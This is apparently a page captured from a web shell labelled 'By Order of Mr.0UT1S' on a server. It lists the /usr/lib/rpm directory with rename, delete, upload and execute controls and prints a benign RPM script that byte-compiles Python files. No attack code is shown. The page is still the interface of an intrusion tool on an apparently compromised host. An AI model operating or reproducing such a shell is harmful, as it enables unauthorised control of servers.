lib
/
rpm
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] fileattrs
N/A
[DIR] macros.d
N/A
[DIR] platform
N/A
[DIR] redhat
N/A
alt-nodejs10_native.req
70 bytes
Rename
Delete
alt-nodejs11_native.req
70 bytes
Rename
Delete
alt-nodejs12_native.req
70 bytes
Rename
Delete
alt-nodejs14_native.req
70 bytes
Rename
Delete
alt-nodejs16_native.req
40 bytes
Rename
Delete
alt-nodejs18_native.req
40 bytes
Rename
Delete
alt-nodejs19_native.req
39 bytes
Rename
Delete
alt-nodejs20_native.req
40 bytes
Rename
Delete
alt-nodejs22_native.req
40 bytes
Rename
Delete
alt-nodejs6_native.req
64 bytes
Rename
Delete
alt-nodejs8_native.req
68 bytes
Rename
Delete
alt-nodejs9_native.req
68 bytes
Rename
Delete
brp-scl-compress
1.77 KB
Rename
Delete
brp-scl-python-bytecompile
3.04 KB
Rename
Delete
gstreamer1.prov
954 bytes
Rename
Delete
kabi.sh
468 bytes
Rename
Delete
kmod.prov
682 bytes
Rename
Delete
macros
42.96 KB
Rename
Delete
nodejs_native.req
70 bytes
Rename
Delete
python-macro-helper
634 bytes
Rename
Delete
pythondeps.sh
921 bytes
Rename
Delete
pythondistdeps.py
10.92 KB
Rename
Delete
rpm.daily
296 bytes
Rename
Delete
rpm.log
61 bytes
Rename
Delete
rpm.supp
688 bytes
Rename
Delete
rpm2cpio.sh
1.22 KB
Rename
Delete
rpmdb_dump
bytes
Rename
Delete
rpmdb_load
bytes
Rename
Delete
rpmdb_loadcvt
1.43 KB
Rename
Delete
rpmdb_recover
bytes
Rename
Delete
rpmdb_stat
bytes
Rename
Delete
rpmdb_upgrade
bytes
Rename
Delete
rpmdb_verify
bytes
Rename
Delete
rpmpopt-4.14.3
11.20 KB
Rename
Delete
rpmrc
16.75 KB
Rename
Delete
scldeps.sh
254 bytes
Rename
Delete
tgpg
929 bytes
Rename
Delete
#!/bin/bash errors_terminate=$2 scl_path=$3 # If using normal root, avoid changing anything. if [ -z "$RPM_BUILD_ROOT" -o "$RPM_BUILD_ROOT" = "/" ]; then exit 0 fi [ "0$scl_path" = "0" ] && exit 0 # If we don't have a python interpreter, avoid changing anything. default_python=${1:-/usr/bin/python} if [ ! -x "$default_python" ]; then exit 0 fi # Figure out how deep we need to descend. We could pick an insanely high # number and hope it's enough, but somewhere, somebody's sure to run into it. depth=`(find "$RPM_BUILD_ROOT" -type f -name "*.py" -print0 ; echo /) | \ xargs -0 -n 1 dirname | sed 's,[^/],,g' | sort -u | tail -n 1 | wc -c` if [ -z "$depth" -o "$depth" -le "1" ]; then exit 0 fi # .pyc/.pyo files embed a "magic" value, identifying the ABI version of Python # bytecode that they are for. # # The files below RPM_BUILD_ROOT could be targeting multiple versions of # python (e.g. a single build that emits several subpackages e.g. a # python26-foo subpackage, a python31-foo subpackage etc) # # Support this by assuming that below each /usr/lib/python$VERSION/, all # .pyc/.pyo files are to be compiled for /usr/bin/python$VERSION. # # For example, below /usr/lib/python2.6/, we're targeting /usr/bin/python2.6 # and below /usr/lib/python3.1/, we're targeting /usr/bin/python3.1 shopt -s nullglob for python_libdir in "$RPM_BUILD_ROOT"/usr/lib{,64}/python[0-9].[0-9]/ "$RPM_BUILD_ROOT"/$scl_path/usr/lib{,64}/python[0-9].[0-9]/; do python_binary=/usr/bin/$(basename $python_libdir) real_libdir=${python_libdir/$RPM_BUILD_ROOT/} echo "Bytecompiling .py files below $python_libdir using $python_binary" # Generate normal (.pyc) byte-compiled files. $python_binary -c 'import compileall, sys; sys.exit(not compileall.compile_dir("'"$python_libdir"'", '"$depth"', "'"$real_libdir"'", force=1, quiet=1))' if [ $? -ne 0 -a 0$errors_terminate -ne 0 ]; then # One or more of the files had a syntax error exit 1 fi # Generate optimized (.pyo) byte-compiled files. $python_binary -O -c 'import compileall, sys; sys.exit(not compileall.compile_dir("'"$python_libdir"'", '"$depth"', "'"$real_libdir"'", force=1, quiet=1))' if [ $? -ne 0 -a 0$errors_terminate -ne 0 ]; then # One or more of the files had a syntax error exit 1 fi done # Handle other locations in the filesystem using the default python # implementation: # Generate normal (.pyc) byte-compiled files. $default_python -c 'import compileall, re, sys; sys.exit (not compileall.compile_dir("'"$RPM_BUILD_ROOT"'", '"$depth"', "/", 1, re.compile(r"'"/bin/|/sbin/|/usr/lib(64)?/python[0-9]\.[0-9]"'"), quiet=1))' if [ $? -ne 0 -a 0$errors_terminate -ne 0 ]; then # One or more of the files had a syntax error exit 1 fi # Generate optimized (.pyo) byte-compiled files. $default_python -O -c 'import compileall, re, sys; sys.exit(not compileall.compile_dir("'"$RPM_BUILD_ROOT"'", '"$depth"', "/", 1, re.compile(r"'"/bin/|/sbin/|/usr/lib(64)?/python[0-9]\.[0-9]"'"), quiet=1))' > /dev/null if [ $? -ne 0 -a 0$errors_terminate -ne 0 ]; then # One or more of the files had a syntax error exit 1 fi exit 0
Save